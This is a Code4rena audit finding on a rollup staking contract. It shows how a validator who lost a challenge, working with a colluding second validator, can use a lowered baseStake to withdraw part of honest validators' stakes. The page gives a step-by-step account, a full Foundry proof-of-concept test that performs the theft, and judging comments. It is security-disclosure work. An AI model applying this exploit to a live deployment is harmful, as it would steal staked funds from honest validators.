Platform: Code4rena
Start Date: 10/05/2024
Pot Size: $300,500 USDC
Total HM: 4
Participants: 27
Period: 17 days
Judge: Picodes
Total Solo HM: 1
Id: 375
League: ETH
Rank: 2/27
Findings: 1
Award: $35,258.67
🌟 Selected for report: 0
🚀 Solo Findings: 0
35258.6688 USDC - $35,258.67
All the validators that have lost a challenge in the past can steal funds from The honest validators in RollupUserLogic.sol
Here are quick 7 steps POC (check below for coded POC):
Note: Alice and Bob are playing under the same entity.
1- The adversary validators Bob lose a challenge. Bob loses 10 Wei here.
2- The honest validator creates the next assertion.
3- The admin call setBaseStake() to decrease the baseStake
state variable.
e.g: from 10 Wei to 8 Wei.
4- Alice invoke newStakeOnNewAssertion() to create the first child of Bob assertion
Alice stake (technically it's a loss at this point) 10 Wei for this.
However, the requiredStake
in Alice's assertion configHash
is only 8 Wei (Check it here).
5- Bob trigger reduceDeposit() to reduce his amount staked to only 8 Wei.
6- Now, Bob invoke stakeOnNewAssertion() to create the first child of Alice assertion.
7- Alice invoke returnOldDeposit() to withdraw her 10 Wei and Bob withdraw his 2 Wei by calling withdrawStakerFunds().
Key points:
In the RollupUserLogic.sol
, When an assertion has two children or more, The protocol only keeps 1 stake per challenge, so the loser stakes are already sent to the loserStakeEscrow
(check here). So, the only funds will be available in RollupUserLogic
is from the honest validators and they can withdraw the funds when are not active staker.
In the RollupCore system, it is possible to create multiple assertions with only one stack. It uses a structure where assertions are linked, and each new assertion is created based on the state of the previous one. This is why when an adversary validator loses a challenge his values in _stakerMap[stakerAddress] are not updated.
The setBaseStake()
function in the RollupAdminLogic.sol
contract is used to update the baseStake
state variable, which is required for posting a claim (aka an assertion) in the RollupUserLogic.sol
contract. This function is part of the administrative controls of the rollup system, allowing the rollup administrator to adjust the staking requirements as needed.
The baseStake
state variable is used in createNewAssertion() this values will be defined how much the next assertion should stake (the next assertion should get created based previous one).
Step by step:
When Bob loses the challenge to the honest validator he also loses the 10 wei (as a stake amount). However, His values in _stakerMap[stakerAddress]
don’t get updated this is intended by the protocol because the loser’s stake would not be able to be withdrawn unless someone else put down a stake to unlock the loser's stake, but that someone’s stake would be locked, effectively he is paying the original loser.
On the other hand, the honest validator will keep up his good work by posting the next and the next assertions.
Until one day the rollup owner decides to decrease the baseStake state variable (More on how the logic handle it HERE)
Note: At this point, any validator who has lost a challenge in the past can do the same as Bob will do.
Back to Bob, His assertion state is still Pending and let's call it the assertion X Alice will invoke newStakeOnNewAssertion() to create the first child of Bob assertion X and let's call Alice's assertion Y. Of course, she will stake 10 Wei and Bob will be able to withdraw his 10 Wei (But Bob will not withdraw his 10 Wei now)
The reason why we need to create assertion Y. is because it will use the new value of baseStake
in the configHash
of assertion Y (this will help the adversary validator to unlock Alice's stake).
Now, Bob will trigger reduceDeposit() to reduce his amount staked to only 8 Wei (This 8 Wei he will use it to unlock 10 Wei of Alice). The other 2 Wei are unstacked and he can withdraw them anytime.
Bob will call stakeOnNewAssertion() to create the first child of Alice assertion Y BUT, this time he will stake only 8 Wei (Why? Check this again)
As a result of this: 1- Alice will withdraw her 10 Wei 2- Bob will withdraw the stolen funds which is 2 Wei in this POC Note: The 2 Wei are from the honest validators staked funds.
Any validator that has lost a challenge in the past can steal part of the honest validator's staked funds.
Foundry PoC:
Please copy the following POC in Rollup.t.sol
function testSuccessSetBaseStake() public { vm.prank(upgradeExecutorAddr); adminRollup.setBaseStake(8); } function testPOC_SuccessConfirmEdgeByTime() public returns (SuccessCreateChallengeData memory) { SuccessCreateChallengeData memory data = testSuccessCreateChallenge(); vm.roll(userRollup.getAssertion(genesisHash).firstChildBlock + CONFIRM_PERIOD_BLOCKS + 1); vm.warp(block.timestamp + CONFIRM_PERIOD_BLOCKS * 15); userRollup.challengeManager().confirmEdgeByTime( data.e1Id, AssertionStateData( data.afterState1, genesisHash, userRollup.bridge().sequencerInboxAccs(0) ) ); bytes32 inboxAcc = userRollup.bridge().sequencerInboxAccs(0); vm.roll(block.number + userRollup.challengeGracePeriodBlocks()); vm.prank(validator1); userRollup.confirmAssertion( data.assertionHash, genesisHash, data.afterState1, data.e1Id, ConfigData({ wasmModuleRoot: WASM_MODULE_ROOT, requiredStake: BASE_STAKE, challengeManager: address(challengeManager), confirmPeriodBlocks: CONFIRM_PERIOD_BLOCKS, nextInboxPosition: firstState.globalState.u64Vals[0] }), inboxAcc ); return data; } function readStakerMap( address addr ) public returns ( uint256 amountStaked, bytes32 latestStakedAssertion, uint64 index, bool isStaked, address withdrawalAddress ) { return (userRollup._stakerMap(addr)); } function testRun_Me_POC() public { /***************** *****Step -1-***** *****************/ SuccessCreateChallengeData memory data = testPOC_SuccessConfirmEdgeByTime(); /*@audit-info - `validator1` is the honest validator - `validator2` is the adversary validator (aka: Bob) - `validator3` is the adversary validator (aka: Alice) at this point: Bob lose a challenge and his 10 wei (which is the value of the constant `BASE_STAKE`)*/ /***************** *****Step -2-***** *****************/ //Set-up uint256 prevInboxCount = data.newInboxCount; bytes32 prevHash = userRollup.latestConfirmed(); AssertionState memory beforeState; beforeState = data.afterState1; AssertionState memory afterState; afterState.machineStatus = MachineStatus.FINISHED; afterState.globalState.u64Vals[0] = uint64(prevInboxCount); bytes32 inboxAcc = userRollup.bridge().sequencerInboxAccs(1); // 1 because we moved the position within message bytes32 expectedAssertionHash = RollupLib.assertionHash({ parentAssertionHash: prevHash, afterState: afterState, inboxAcc: inboxAcc }); bytes32 prevInboxAcc = userRollup.bridge().sequencerInboxAccs(0); //The honest validator creats the next assertion vm.prank(validator1); userRollup.stakeOnNewAssertion({ assertion: AssertionInputs({ beforeStateData: BeforeStateData({ sequencerBatchAcc: prevInboxAcc, prevPrevAssertionHash: genesisHash, configData: ConfigData({ wasmModuleRoot: WASM_MODULE_ROOT, requiredStake: BASE_STAKE, challengeManager: address(challengeManager), confirmPeriodBlocks: CONFIRM_PERIOD_BLOCKS, nextInboxPosition: afterState.globalState.u64Vals[0] }) }), beforeState: beforeState, afterState: afterState }), expectedAssertionHash: expectedAssertionHash }); /***************** *****Step -3-***** *****************/ //The admin call setBaseStake() to decrease the `baseStake` state variable from 10 wei to 8 wei testSuccessSetBaseStake(); /***************** *****Step -4-***** *****************/ //Set-up beforeState = data.afterState2; afterState.machineStatus = MachineStatus.FINISHED; afterState.globalState.u64Vals[0] = uint64(prevInboxCount); // `Alice` the adversary validator creats the next assertion vm.prank(validator3); userRollup.newStakeOnNewAssertion({ tokenAmount: BASE_STAKE, assertion: AssertionInputs({ beforeStateData: BeforeStateData({ sequencerBatchAcc: prevInboxAcc, prevPrevAssertionHash: genesisHash, configData: ConfigData({ wasmModuleRoot: WASM_MODULE_ROOT, requiredStake: BASE_STAKE, challengeManager: address(challengeManager), confirmPeriodBlocks: CONFIRM_PERIOD_BLOCKS, nextInboxPosition: afterState.globalState.u64Vals[0] }) }), beforeState: beforeState, afterState: afterState }), expectedAssertionHash: bytes32(0), withdrawalAddress: validator3Withdrawal }); //nb:You can check. the adversary validator `Bob` is able to withdraw his 10 wei /*vm.prank(validator2); userRollup.returnOldDeposit();*/ /***************** *****Step -5-***** *****************/ //`Bob` trigger `reduceDeposit()` to reduce his staked amount only to 8 wei vm.prank(validator2); userRollup.reduceDeposit(8); /***************** *****Step -6-***** *****************/ //`Bob` invoke stakeOnNewAssertion() to create the first child of Alice assertion //Note: `Bob` will lock only 8 wei this time //Set-up (, bytes32 latestStakedAssertion, , , ) = readStakerMap(validator2); uint64 newInboxCount = uint64(_createNewBatch()); beforeState = afterState; prevInboxAcc = userRollup.bridge().sequencerInboxAccs(1); AssertionState memory afterStatePOC; afterStatePOC.machineStatus = MachineStatus.FINISHED; afterStatePOC.globalState.bytes32Vals[0] = keccak256( abi.encodePacked(FIRST_ASSERTION_BLOCKHASH) ); // blockhash afterStatePOC.globalState.bytes32Vals[1] = keccak256( abi.encodePacked(FIRST_ASSERTION_SENDROOT) ); // sendroot afterStatePOC.globalState.u64Vals[0] = newInboxCount; // inbox count afterStatePOC.globalState.u64Vals[1] = 0; // pos in msg vm.roll(block.number + 75); vm.prank(validator2); userRollup.stakeOnNewAssertion({ assertion: AssertionInputs({ beforeStateData: BeforeStateData({ sequencerBatchAcc: prevInboxAcc, prevPrevAssertionHash: latestStakedAssertion, configData: ConfigData({ wasmModuleRoot: WASM_MODULE_ROOT, requiredStake: 8, challengeManager: address(challengeManager), confirmPeriodBlocks: CONFIRM_PERIOD_BLOCKS, nextInboxPosition: afterStatePOC.globalState.u64Vals[0] }) }), beforeState: beforeState, afterState: afterStatePOC }), expectedAssertionHash: bytes32(0) }); /***************** *****Step -7-***** *****************/ //Alice withdraw 10 wei vm.prank(validator3); userRollup.returnOldDeposit(); vm.prank(validator3Withdrawal); uint amountWithdrawn = userRollup.withdrawStakerFunds(); assertEq(amountWithdrawn, 10); //Bob withdraw 2 wei vm.prank(validator2Withdrawal); amountWithdrawn = userRollup.withdrawStakerFunds(); assertEq(amountWithdrawn, 2); }
2- forge test --match-test testRun_Me_POC
Docs Wolf - Manual Review
Make sure that any adversary validator is not able to come back and recover his funds by triggering RollupCore.sol#deleteStaker()
However, I can't find a way with the current tracking system to find and delete the pending assertions after calling RollupUserLogic.sol#confirmAssertion()
Invalid Validation
#0 - c4-judge
2024-06-05T07:38:16Z
Picodes marked the issue as not a duplicate
#1 - c4-judge
2024-06-05T07:39:00Z
Picodes marked the issue as duplicate of #8
#2 - c4-judge
2024-06-05T07:44:55Z
Picodes marked the issue as satisfactory
#3 - Ch-301
2024-06-06T07:28:32Z
Hi @Picodes , could you consider selecting this issue for the report instead of #8 ? I believe it is better due to the following reasons:
baseStake
value).That being said, I am aware that a report being "better" is extremely subjective, and will respect your final decision as a judge.
Thanks!
#4 - xuwinnie
2024-06-06T09:51:14Z
Hi @Ch-301 ,
#5 - Picodes
2024-06-08T18:57:48Z
@Ch-301 thanks for your comment, that I totally understand given how arbitrary this is.
I went for #8 considering that: